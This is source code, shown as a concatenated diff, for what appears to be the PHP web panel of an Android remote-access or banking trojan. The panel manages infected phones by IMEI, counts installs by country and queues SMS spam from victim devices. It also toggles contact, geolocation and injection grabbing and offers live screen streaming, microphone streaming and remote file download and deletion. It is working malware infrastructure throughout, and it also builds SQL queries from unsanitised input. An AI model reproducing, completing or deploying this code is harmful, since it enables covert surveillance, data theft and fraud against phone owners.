<a style='color:#fff'>RIGHT</a>
<select name="RIGHT" style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;'>
<option value='user'>User
<option value='traffic'>Traffic
<option value='admin'>Admin
</select>
</br></br>
<a style='color:#fff'>PRIVATE TAG (tag1,tag2,..)</a><input type='text' name='tag' id='styled-select' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;'></input>
<center>
<input type='submit' value='ADD USER' id="ADDUSER" name='ADDUSER' class='btn btn-success' style='Width:100%; Height: 30px; font-size: 14; margin-top:20px;'/>
</center>
</div>
</form>
</div>
</div>
<?php//--EDIT USERS"--------?>
<div id = "edituser_modal" style="padding-top:70px;">
<div id = "modal_s" style="Width:280px; Height: 340px; background: #1D1F24; margin: 100px auto 0 auto; padding: 10px; border-radius: 5px;">
<a id="exit" href="index.php?cont=settings&page=users" style="margin-left:97%; cursor: pointer; color: Red;" onclick="document.getElementById('log_modal').style.display = 'none'";>X</a>
<form name="modal_set" method="POST" action="application/set/editUsers.php">
<div class="styled-select">
<?php
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM t_users";
$login = "";
$password = "";
$right = "";
$tag = "";
$editid = isset($editid) ? $editid : ''; // 0?
foreach($connection->query($sql) as $row)
{
if($editid==$row['id'])
{
$login = $row['login'];
$password = $row['password'];
$tag=$row['tag'];
break;
}
}
echo "
<a style='color:#fff'>LOGIN</a><input type='text' value='$login' name='login' id='styled-select' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;'></input>
</br></br>
<a style='color:#fff'>PASSWORD</a><input type='text' value='' name='password' id='styled-select' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;'></input>
</br></br>
<a style='color:#fff'>RIGHT</a>
<select name='RIGHT' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;'>
<option value='user'>User
<option value='traffic'>Traffic
<option value='admin'>Admin
</select>
</br></br>
<a style='color:#fff'>PRIVATE TAG (tag1,tag2,..)</a><input type='text' value='$tag' name='tag' id='styled-select' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;'></input>
";?>
<center>
<input type='submit' value='EDIT USER' id="EDITUSER" name='EDITUSER' class='btn btn-outline-success' style='Width:100%; Height: 30px; font-size: 14; margin-top:20px;'/>
</center>
<?php echo "<input type='text' value=$editid name='getID' style='visibility:hidden'/>";?>
</div>
</form>
</div>
</div>
<script>
if (document.getElementById("requestProc").checked) {
document.getElementById("textIDrequestProc").disabled = false;
}else {
document.getElementById("textIDrequestProc").value='';
document.getElementById("textIDrequestProc").disabled = true;
}
if (document.getElementById("request_geo").checked) {
document.getElementById("textIDRequest_geo").disabled = false;
}else {
document.getElementById("textIDRequest_geo").value='';
document.getElementById("textIDRequest_geo").disabled = true;
}
if (document.getElementById("checkGetPhoneContacts").checked) {
document.getElementById("TextIDcheckGetPhoneContacts").disabled = false;
}else {
document.getElementById("TextIDcheckGetPhoneContacts").value='';
document.getElementById("TextIDcheckGetPhoneContacts").disabled = true;
}
if (document.getElementById("checkGetgeolocation").checked) {
document.getElementById("TextIDcheckGetgeolocation").disabled = false;
}else {
document.getElementById("TextIDcheckGetgeolocation").value='';
document.getElementById("TextIDcheckGetgeolocation").disabled = true;
}
if (document.getElementById("IDaddInjNoAuto").checked) {
document.getElementById("TextIDaddInjNoAuto").disabled = false;
}else {
document.getElementById("TextIDaddInjNoAuto").value='';
document.getElementById("TextIDaddInjNoAuto").disabled = true;
}
if (document.getElementById("checkaddinjauto").checked) {
document.getElementById("textIDaddinjauto").disabled = false;
}else {
document.getElementById("textIDaddinjauto").value='';
document.getElementById("textIDaddinjauto").disabled = true;
}
</script>
+143
View File
@@ -0,0 +1,143 @@
<?php
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /login.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}
if (($_SESSION['panel_right']!="admin")&&($_SESSION['panel_right']!="user")){
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
?>
<div class="content">
<script type="text/javascript">
function checkAll(checkId){
var inputs = document.getElementsByTagName("input");
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type == "checkbox" && inputs[i].id == checkId) {
if(inputs[i].checked == true) {
inputs[i].checked = false ;
} else if (inputs[i].checked == false ) {
inputs[i].checked = true ;
}
}
}
}
</script>
<?php
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
if(strlen($_POST['text_spam'])>2){
$strNumbers = $_POST['text_spam'];
$strNumbers = str_replace(" ","",$strNumbers);
$strNumbers = str_replace("-","",$strNumbers);
$strNumbers = str_replace("(","",$strNumbers);
$strNumbers = str_replace(")","",$strNumbers);
$arrayNumbers = explode(',',$strNumbers);
foreach ($arrayNumbers as $key => $value) {
$statement = $connection->prepare("insert into smsspam (number,status) value ('$value','0')");
$statement->execute([$value]);
}
//INSERT INTO `smsspam`(`number`, `status`) VALUES ('12312','0')
}
?>
<div style="margin-top:10px;">
<form name='spam' method='post'>
<center>
</br>Numbers(num1, num2, ..) or (name1/num1, name2/num2, ..)
</br>The name of the holder in the message is specified by the tag {nameholder}
</br><input type="text" name="text_spam" id="text_spam" style="color: #337ab7; background: #1D1F24; font-size: 13; height: 28px; width: 75%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc; border-radius: 5px;"></input>
</br><input type='submit' value='Add Numbers' name='add_numbers' style='margin-top:5px;' class='btn btn-outline-success'/>
</center>
</form>
</div>
<table class="table table-hover table_dark" id="bootstrap-table">
<thead class="header_table_bots">
<th><input type="checkbox" id="chk_new" onclick="checkAll('chk');" /></th>
<th>ID</th>
<th>Name Holder/Number</th>
<th>Status</th>
</thead>
<?php
$sql = "SELECT * FROM smsspam";
$booleanIMEI = false;
//*****Обработка запросa Для удаления!
if((isset($_POST["delete"])) && (isset($_POST["checks"])))
{
if (preg_match("/checks/",print_r($_POST,true)))
{
foreach($_POST["checks"] as $id)
{
$id_del = $id;
$sql2 = "DELETE FROM smsspam WHERE id='".$id_del."'";
$connection->query($sql2);
}
}
header ('Location: /index.php?cont=commands');
}
//******батоны и переменые с базы!********
echo "<form method='post'>";
$notsend=0;
$send=0;
$insend=0;
foreach($connection->query($sql) as $row){
$ID = $row['id'];
$number = $row['number'];
$status = $row['status'];
$pathIcon="";
if($status=="0"){
$pathIcon="images/icons/sms_x.png";
$notsend++;
}elseif($status=="1"){
$pathIcon="images/icons/sms_r.png";
$insend++;
}else{
$pathIcon="images/icons/sms_v.png";
$send++;
}
//************Данные в таблице********************************************
echo "<tr class='table_bots' style='color: #A4A4A4'>
<td><input type=checkbox id='chk' name=checks[] value=$ID></input></td>
<td>$ID</td>
<td>$number</td>
<td><img src=$pathIcon width='30px'/></td>
</tr>";
}
echo "<p id='text_command' style='margin-top:5px; Color:#EDB749; font-size: 13pt;'>Numbers for SMS Spam (On Queue: $notsend, Send: $send, In Sending: $insend)</p>";
echo "<input type='submit' value='Delete' name='delete' style='margin-left:68px; margin-top:15px;' class='btn btn-outline-danger'/>";
echo "</form>";
// id IMEI command
?>
</table>
</div>
<?php } ?>
+303
View File
@@ -0,0 +1,303 @@
<?php
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /login.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}
}
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT version_apk, country, lastConnect, firstConnect FROM kliets";
$Country[]="";
for($ii=0;$ii<5000;$ii++)
{
$kol[$ii] = 0;
$kol_on[$ii] = 0;
$kol_off[$ii] = 0;
$kol_off2x[$ii] = 0;
$setup[$ii] = 0;
$installs[$ii] = 0;
$kills[$ii] = 0;
}
$all_kol = 0;
$all_kol_on = 0;
$all_kol_off = 0;
$all_kol_off2x = 0;
$all_setup = 0;
$all_installs = 0;
$all_kills = 0;
$kol_offline=0;
$indexSQL=0;
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$privateTag = explode(",", $tags[1]);
/****************************/
foreach($connection->query($sql) as $row)
{
$country = $row['country'];
$version_apk = $row['version_apk'];
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue)continue;
}
else
{
foreach($privateTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}//---------------
if($indexSQL==0)
{
$Country[]=$country;
$indexSQL++;
}else{
$goCountry = false;
for ($i = 0; $i <= count($Country)-1; $i++){
if($country == $Country[$i]){
$goCountry = true;
break;
}
}
if($goCountry == false){
$Country[]=$country;
}
}
}
foreach($connection->query($sql) as $row){
$version_apk = $row['version_apk'];
$country = $row['country'];
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue)continue;
}
else
{
foreach($privateTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}//---------------
$all_kol++;
for ($i = 0; $i <= count($Country)-1; $i++){
if($country == $Country[$i]){
$kol[$i]++;
break;
}
}
//******Получаем иконку состояния бота, вычисляем дату****
$arr_data_from = explode(" ", $row['lastConnect']);
$arr_data_till = explode(" ", date('Y-m-d H:i'));
$date_from = $arr_data_from[0];
$date_till = $arr_data_till[0];
$date_from = explode('-', $date_from);
$date_till = explode('-', $date_till);
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
//----------Секунды!-------/
$date1 = new \DateTime($row['lastConnect']);
$date2 = new \DateTime(date('Y-m-d H:i'));
$diff = $date2->diff($date1);
// разница в секундах
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
($diff->m * 30 * 24 * 60 * 60) +
($diff->d * 24 * 60 * 60) +
($diff->h * 60 * 60) +
($diff->i * 60) +
$diff->s;
//----------обработка состояние иконки on/off-------/
if($day>=2)//Дни!
{
$all_kol_off++;
$all_kol_off2x++;
for ($i = 0; $i <= count($Country)-1; $i++){
if($country == $Country[$i]){
$kol_off2x[$i]++;
$kol_off[$i]++;
break;
}
}
}
else
{
if($seconds<=120)
{
$all_kol_on++;
for ($i = 0; $i <= count($Country)-1; $i++){
if($country == $Country[$i]){
$kol_on[$i]++;
break;
}
}
}
else
{
$kol_offline++;
$all_kol_off++;
for ($i = 0; $i <= count($Country)-1; $i++){
if($country == $Country[$i]){
$kol_off[$i]++;
break;
}
}
}
}
//************Установок за сегондя********************************************
$arr_data_from2 = explode(" ", $row['firstConnect']);
$arr_data_till2 = explode(" ", date('Y-m-d H:i'));
$date_from2 = $arr_data_from2[0];
$date_till2 = $arr_data_till2[0];
$date_from2 = explode('-', $date_from2);
$date_till2 = explode('-', $date_till2);
$time_from2 = mktime(0, 0, 0, $date_from2[1], $date_from2[2], $date_from2[0]);
$time_till2 = mktime(0, 0, 0, $date_till2[1], $date_till2[2], $date_till2[0]);
$day2 = ($time_till2 - $time_from2)/60/60/24; //получаем разницу кол-во дней!
if($day2 == 0)//считаем количество установок за сегодня
{
$all_setup++;
for ($i = 0; $i <= count($Country)-1; $i++){
if($country == $Country[$i]){
$setup[$i]++;
break;
}
}
}
}
?>
<div class="content" style="padding-top:15px; font-size:20px">
<table class="table table-hover table_dark" id="bootstrap-table">
<thead class="header_table_bots">
<th><a title="Country"><img src="images/icons/table/Country.png" width='25px'/></a></th>
<th>Count</th>
<th>Online</th>
<th>Offline</th>
<th>Offline more than 2 days</th>
<th>Installed today</th>
</thead>
<?php
echo "<p id='text_command' style='margin-top:5px; Color:#EDB749; font-size: 13pt;'>Statistics</p>";
for ($i = 0; $i<=count($Country)-1; $i++){
if($Country[$i]!=""||$Country[$i]!=null)
{
echo "<tr class='table_bots' style='color: #A4A4A4'>
<td>
<a title='$Country[$i]'><img src='images/country/$Country[$i].png' width='20px'/></a>
</td>
<td>$kol[$i]</td>
<td>$kol_on[$i]</td>
<td>$kol_off[$i]</td>
<td>$kol_off2x[$i]</td>
<td>$setup[$i]</td>
</tr>";
}
}
echo "<tr class='table_bots' style='color: #A4A4A4'>
<td>
<a>Total</a>
</td>
<td>$all_kol</td>
<td>$all_kol_on</td>
<td>$all_kol_off</td>
<td>$all_kol_off2x</td>
<td>$all_setup</td>
</tr>";
?>
</div>
+544
View File
@@ -0,0 +1,544 @@
<?php
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
?>
<div id="showAlert"></div>
<div class="content">
<center>
<input type='submit' value='File System' onClick="location.href='index.php?cont=ws&page=file-system'" style='width:140px; margin-left:30px;margin-top:10px; ' class='btn btn-outline-secondary'/>
<input type='submit' value='Stream Screen'onClick="location.href='index.php?cont=ws&page=streamscreen'" style='width:140px; margin-left:30px;margin-top:10px;' class='btn btn-outline-secondary'/>
<input type='submit' value='Stream Sound'onClick="location.href='index.php?cont=ws&page=streamsound'" style='width:140px; margin-left:30px;margin-top:10px;' class='btn btn-outline-secondary'/>
</center>
<div id='DIV_Server' style='margin-left:20px;width:25%; float:left; min-height: 50px; margin-top:20px; border: 0px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
<a style='margin-left:77px;color:#ffffff'>ID Bots</a></br>
<select name="comboBox_imeis" id="comboBox_imeis" style="width: 200px;color: #337ab7; font-size: 13; height: 28px;background: #1D1F24">
<?php
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT IMEI,lastConnect FROM kliets");
$statement->execute();
foreach($statement as $row){
$IMEI = $row['IMEI'];
//******Получаем иконку состояния бота, вычисляем дату****
$arr_data_from = explode(" ", $row['lastConnect']);
$arr_data_till = explode(" ", date('Y-m-d H:i'));
$date_from = $arr_data_from[0];
$date_till = $arr_data_till[0];
$date_from = explode('-', $date_from);
$date_till = explode('-', $date_till);
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
//----------Секунды!-------/
$date1 = new \DateTime($row['lastConnect']);
$date2 = new \DateTime(date('Y-m-d H:i'));
$diff = $date2->diff($date1);
// разница в секундах
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
($diff->m * 30 * 24 * 60 * 60) +
($diff->d * 24 * 60 * 60) +
($diff->h * 60 * 60) +
($diff->i * 60) +
$diff->s;
//----------обработка состояние иконки on/off-------/
if($day>=2){}
else{
if($seconds<=120){
echo "<option value='$IMEI'>$IMEI";
}
}
}
?>
</select> </br>
<input type='submit' value='Connect' onClick='sendDataCommand()' style='width: 90px; margin-top:2px; margin-right:0px;' class='btn btn-outline-success'/>
<input type='submit' value='Disconnect' onClick='disconnect()' style='width: 107px; margin-top:2px; margin-right:5px;' class='btn btn-outline-danger'/>
</br>
<div id="CheckPort" style="padding-top:9px">
<img src="images/loader.gif" style="margin-top:5px; margin-left:60px;width:14%; height:5%"/>
</div>
</br>
</div>
<?php
$domain = $_SERVER['SERVER_NAME'];
if (isset($_SERVER['HTTPS']))
$scheme = $_SERVER['HTTPS'];
else
$scheme = '';
if (($scheme) && ($scheme != 'off')) $scheme = 'https';
else $scheme = 'http';
$urlpanel = "$scheme://$domain";
?>
<script>
function sendDataCommand(){
var imei = document.getElementById("comboBox_imeis").value;
updateBotID(imei);
var url = '<?php echo $urlpanel?>';
$.ajax({url: 'application/set/commandBots.php?comboBox_commands=rat&text_imei='+ imei+'&url='+url,cache: false});
startNatif('success','The team was successfully added!');
}
function updateBotID(imei){
$.ajax({url: 'application/websocket/utils.php?updateimei='+ imei,cache: false});
}
function disconnect(){
$.ajax({url: 'application/websocket/utils.php?updateimei=',cache: false});
startNatif('success','The сlient successfully disabled!!');
}
</script>
<?php
}
$page = $_GET['page'];
echo "<center>";
if($page == "file-system"){
FileSystem();
}
elseif($page == "streamscreen"){
StreamScreen();
}
elseif($page == "streamsound"){
StreamSound();
}
else{
FileSystem();
}
echo "</center>";
function StreamSound(){
echo "<div id='DIV_SOUND' style='width:50%; margin-left:10%; min-height: 300px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
<div id='div_sound'>
<center>Stream Sound</center>
<input type='submit' onClick='javascript:void(addcommand(\"startforegroundsound\"))' value='Start Sound + Foreground' id='btcstartsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
<input type='submit' onClick='javascript:void(addcommand(\"startsound\"))' value='Start Sound' id='btcstartsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
<input type='submit' onClick='javascript:void(addcommand(\"stopsound\"))' value='Stop Sound' id='btcstopsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
<center>
<div style='width:98%; height: 1px; background:#333; margin-top: 20px' ></div></br>
</center>
</div></br></div></br>
<script>
var startNameSound='';
startSound();
function startSound() {
$.ajax({url: 'application/websocket/utils.php?sound=get',
success: function(data) {
if(startNameSound == data) return;
start('application/websocket/sound/'+data+'.amr');
startNameSound = data;
}});
}
function start(path){
fetchBlob(path, function(blob) {
playAmrBlob(blob);
});
}
var gAudioContext = new AudioContext();
function E(selector) {
return document.querySelector(selector);
}
function getAudioContext() {
if (!gAudioContext) {
gAudioContext = new AudioContext();
}
return gAudioContext;
}
function fetchBlob(url, callback) {
var xhr = new XMLHttpRequest();
xhr.open('GET', url);
xhr.responseType = 'blob';
xhr.onload = function() {
callback(this.response);
};
xhr.onerror = function() {
};
xhr.send();
}
function readBlob(blob, callback) {
var reader = new FileReader();
reader.onload = function(e) {
var data = new Uint8Array(e.target.result);
callback(data);
};
reader.readAsArrayBuffer(blob);
}
function playAmrBlob(blob, callback) {
readBlob(blob, function(data) {
playAmrArray(data);
});
}
function playAmrArray(array) {
var samples = AMR.decode(array);
if (!samples) {
return;
}
playPcm(samples);
}
function playPcm(samples) {
var ctx = getAudioContext();
var src = ctx.createBufferSource();
var buffer = ctx.createBuffer(1, samples.length, 8000);
if (buffer.copyToChannel) {
buffer.copyToChannel(samples, 0, 0)
} else {
var channelBuffer = buffer.getChannelData(0);
channelBuffer.set(samples);
}
src.buffer = buffer;
src.connect(ctx.destination);
src.start();
setTimeout(endAmr, 3000);
}
function endAmr(){
startSound();
}
</script>
";
}
function StreamScreen()
{
echo "<div id='DIV_VNC' style='width:50%; margin-left:10%; min-height: 300px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
<div id='div_vnc'>
<center>Stream Screen</center>
<input type='submit' onClick='javascript:void(addcommand(\"startscreenVNC\"))' value='Start screen' id='btcstartsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
<input type='submit' onClick='javascript:void(addcommand(\"stopscreenVNC\"))' value='Stop screen' id='btcstopsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
<center>
<div style='width:98%; height: 1px; background:#333; margin-top: 20px' ></div></br>
<img src='application/websocket/VNC.jpg' alt='No image' name='VNC'></image>
</center>
</div>
</br>
</div>
</br>
<script>
refreshImageVNC();
function refreshImageVNC() {
if (!document.images) return;
$.ajax({
url: 'application/websocket/utils.php?statvnc=get',
success: function(data) {
$('.results').html(data);
if(data!= ''){
var ranint=getRandomInt(0,100000);
document.images['VNC'].src = 'application/websocket/VNC/'+data+'?r='+ranint;
setTimeout('refreshImageVNC()',300);
}
}
});
}
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
</script>
";
}
function FileSystem()
{
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT urls,urlInj FROM settingsall WHERE id='1'";
$database = new database;
$path = $database->ws_GetPath();
if($path=="") $path = "/";
$FileFolder = $database->ws_GetFileFolder();
$file = explode('!!!!', $FileFolder)[2];
$folder = explode('!!!!', $FileFolder)[1];
$arrayFile = explode('|', $file);
$arrayFolder= explode('|', $folder);
$command = $database->ws_GetCommand();
$command = str_replace('opendir:','',$command);
$command = str_replace('!!!','',$command);
echo "
<div id='DIV_FileSystem' style='width:50%; margin-left:10%; min-height: 300px; max-height: 500px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
<form name='FileSystem' method='post'>
<div id='div_fs'>
<center>File System</center></br>
<div style='background:#1D1F24; text-align: left; margin-left:10px'>
<input type='hidden' id='savepath' value='$path'/>
<a id='idpath' style='background:#1D1F24;'>Path: $path</a></br>
<a style='background:#1D1F24;'>Command: $command</a></br>
</div>
<center>
<div style='width:98%; height: 1px; background:#333' ></div></br>
</center>
";
echo "<div style='background:#1D1F24; text-align: left; margin-left:10px; margin-botton:10px; overflow: auto; max-height: 300px;'>";
if(($file=="")&&($folder=="")){
if($path!=="/"){
echo "<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>..</a></br>";
}
echo "</br></br></br></br></br>";
}else{
if($path=="/"){}else{
echo "<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>..</a></br>";
}
}
foreach($arrayFolder as $fold){
if($fold !== "")echo "<span class='glyphicon glyphicon-folder-open' aria-hidden='true' style='color:#337ab7'></span>
<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>$fold</a>
<a href='javascript:void(addcommand(\"deletefilefolder:$path/$fold####\"))' class='glyphicon glyphicon-remove' aria-hidden='true' style='color:#337ab7' ></a></br>";
}
foreach($arrayFile as $fil){
if($fil !== "")echo "<span class='glyphicon glyphicon-file' aria-hidden='true' style='color:#337ab7'></span>
<a style='background:#1D1F24;'>$fil</a>
<a href='javascript:void(addcommand(\"downloadfile:$path/$fil####\"))' class='glyphicon glyphicon-cloud-download' aria-hidden='true' style='color:#337ab7' ></a>
<a href='javascript:void(addcommand(\"deletefilefolder:$path/$fil####\"))' class='glyphicon glyphicon-remove' aria-hidden='true' style='color:#337ab7' ></a></br>";
}
echo "</div>
<center>
<div style='width:98%; height: 1px; background:#333; margin-top: 20px' ></div></br>
</center>
</div>
</form>
<div style=' text-align: left; margin-left:10px; margin-top:-15px;'>
Path <input type='text' name='intInterval' id='intInterval' style='color: #337ab7; background: #1D1F24; width: 50%; font-size: 12; height: 28px; border-radius: 5px;'></input>
<input type='submit' value='Open' id='btnclick' style='margin-right:5px;' class='btn btn-outline-success'/>
<input type='submit' value='Open SD Card' id='btnclick2' style='margin-right:5px; ' class='btn btn-outline-success'/>
</div>
</br>
</div>
</br>
";
}
$database = new database;
$database->ws_UpdateStatusFileFolder('0');
?>
<script type="text/javascript">
function addcommand(namefile){
$.ajax({
url: "application/websocket/utils.php?pathFileFolder=" + namefile,
cache: false
});
showFileFolder();
}
document.body.addEventListener("click", function(event) {
if ((event.target.nodeName == "A")&&(event.target.getAttribute('id') == "ListFile")){
var str = event.target.textContent;
var path="";
if(str == ".."){
path = getUrlUp(document.getElementById("savepath").value);
str="";
}else{
path = document.getElementById("savepath").value;
path = path + "/";
}
$.ajax({
url: "application/websocket/utils.php?pathFileFolder=opendir:" + path + str + "####",
cache: false
});
showFileFolder();
}
});
document.body.addEventListener("click", function(event) {
if ((event.target.nodeName == "INPUT")&&(event.target.getAttribute('id') == "btnclick")){
var text = document.getElementById("intInterval").value;
$.ajax({
url: "application/websocket/utils.php?pathFileFolder=opendir:"+text+"####",
cache: false
});
showFileFolder();
}
});
document.body.addEventListener("click", function(event) {
if ((event.target.nodeName == "INPUT")&&(event.target.getAttribute('id') == "btnclick2")){
$.ajax({
url: "application/websocket/utils.php?pathFileFolder=opendir:getExternalStorageDirectory####",
cache: false
});
showFileFolder();
}
});
// var inProcessShow = false;
function show()
{
// if (inProcessShow) return;
// inProcessShow = true;
$.ajax({
url: "application/websocket/check.php",
cache: false,
success: function(html){
$('#CheckPort').fadeTo(0,0.1,function()
{
$(this).html(html).fadeTo(0,1);
// inProcessShow = false;
});
}
});
}
$(document).ready(function(){
// show();
setInterval('show()',1000);
});
function showFileFolder()
{
$.ajax({
url: "application/websocket/checkFileFolder.php",
cache: false,
success: function(html){
$('#div_fs').fadeTo(0,0.1,function()
{
$(this).html(html).fadeTo(0,1);
});
}
});
}
$(document).ready(function(){
// showFileFolder();
getStatusFileFolder();
setInterval('getStatusFileFolder()',2000);
});
function newhandshake(){
$.ajax({
url: "application/websocket/generatnewhandshake.php?starthandshake=GO",
cache: false
});
show();
}
function getStatusFileFolder(){
$.ajax({
url: 'application/websocket/utils.php?statusfilefolder=get',
success: function(data) {
$('.results').html(data);
if(data=='1'){
showFileFolder();
}
}
});
}
function getUrlUp(str){
var execstr=str;
execstr = execstr.replace('//','/');
if(str!=="/"){
if(execstr.substr(execstr.length-1,1)=="/"){
execstr = execstr.substr(0,execstr.length-1);
}
}
var arr = execstr.split('/');
var str2="";
for(var i=1;i<arr.length-1;i++){
str2 = str2 + '/' + arr[i];
}
if(arr.length==2){
str2="/";
}
return str2;
}
function httpGet(text) {
$.ajax({
url: text,
success: function(data) {
$('.results').html(data);
return data;
}
});
}
</script>
</div>
@@ -0,0 +1,17 @@
AddDefaultCharset utf-8
AddCharset utf-8 *
<IfModule mod_charset.c>
CharsetSourceEnc utf-8
CharsetDefault utf-8
</IfModule>
<FilesMatch ".(php|phtml|php3|php4|html|htm|js|css|htaccess|zip)$">
Order Allow,Deny
Deny from all
</FilesMatch>
+66
View File
@@ -0,0 +1,66 @@
<?php
session_start();
$statusCode=false;
if(!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
include '../../config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT * FROM ws WHERE id='1'");
$statement->execute();
global $botid;
global $lastconnect;//будет как таймер
foreach($statement as $row){
$botid = $row['botid'];
$lastconnect = $row['lastconnect'];
}
//$lastconnect = date('Y-m-d H:i');
$seconds=-1;
if(strlen($lastconnect)>5){
//******Получаем иконку состояния бота, вычисляем дату****
$arr_data_from = explode(" ", $lastconnect);
$arr_data_till = explode(" ", date('Y-m-d H:i'));
$date_from = $arr_data_from[0];
$date_till = $arr_data_till[0];
$date_from = explode('-', $date_from);
$date_till = explode('-', $date_till);
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
//----------Секунды!-------/
$date1 = new \DateTime($lastconnect);
$date2 = new \DateTime(date('Y-m-d H:i'));
$diff = $date2->diff($date1);
// разница в секундах
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
($diff->m * 30 * 24 * 60 * 60) +
($diff->d * 24 * 60 * 60) +
($diff->h * 60 * 60) +
($diff->i * 60) +
$diff->s;
}
$strSecond = '';
if(($seconds>=0)&&($seconds<=14)){
$strSecond = "Connected";
}
echo "ID Bots: <a>$botid</a></br>";
echo "Status: <a style='color: #5ad65a'>$strSecond</a>";
}
?>
@@ -0,0 +1,79 @@
<?php
session_start();
$statusCode=false;
if(!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /login.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}else{
$statusCode=true;
}
}
if($statusCode){
include '../../config.php';
include_once '../database/webSocket.php';
$database = new database;
$path = $database->ws_GetPath();
if($path=="") $path = "/";
$FileFolder = $database->ws_GetFileFolder();
$file = explode('!!!!', $FileFolder)[2];
$folder = explode('!!!!', $FileFolder)[1];
$arrayFile = explode('|', $file);
$arrayFolder= explode('|', $folder);
$command = $database->ws_GetCommand();
$command = str_replace('opendir:','',$command);
$command = str_replace('!!!!','',$command);
echo "
<center>File System</center></br>
<div style='background:#1D1F24; text-align: left; margin-left:10px '>
<input type='hidden' id='savepath' value='$path'/>
<a style='background:#1D1F24; ' >Path: $path</a></br>
<a style='background:#1D1F24; ' >Command: $command</a></br>
</div>
<center>
<div style='width:98%; height: 1px; background:#333' ></div></br>
</center>
";
echo "<div style='background:#1D1F24; text-align: left; margin-left:10px; margin-botton:10px; overflow: auto; max-height: 300px;'>";
if(($file=="")&&($folder=="")){
if($path!=="/"){
echo "<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>..</a></br>";
}
echo "</br></br></br></br></br>";
}else{
if($path=="/"){}else{
echo "<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>..</a></br>";
}
}
foreach($arrayFolder as $fold){
if($fold !== "")echo "<span class='glyphicon glyphicon-folder-open' aria-hidden='true' style='color:#337ab7'></span>
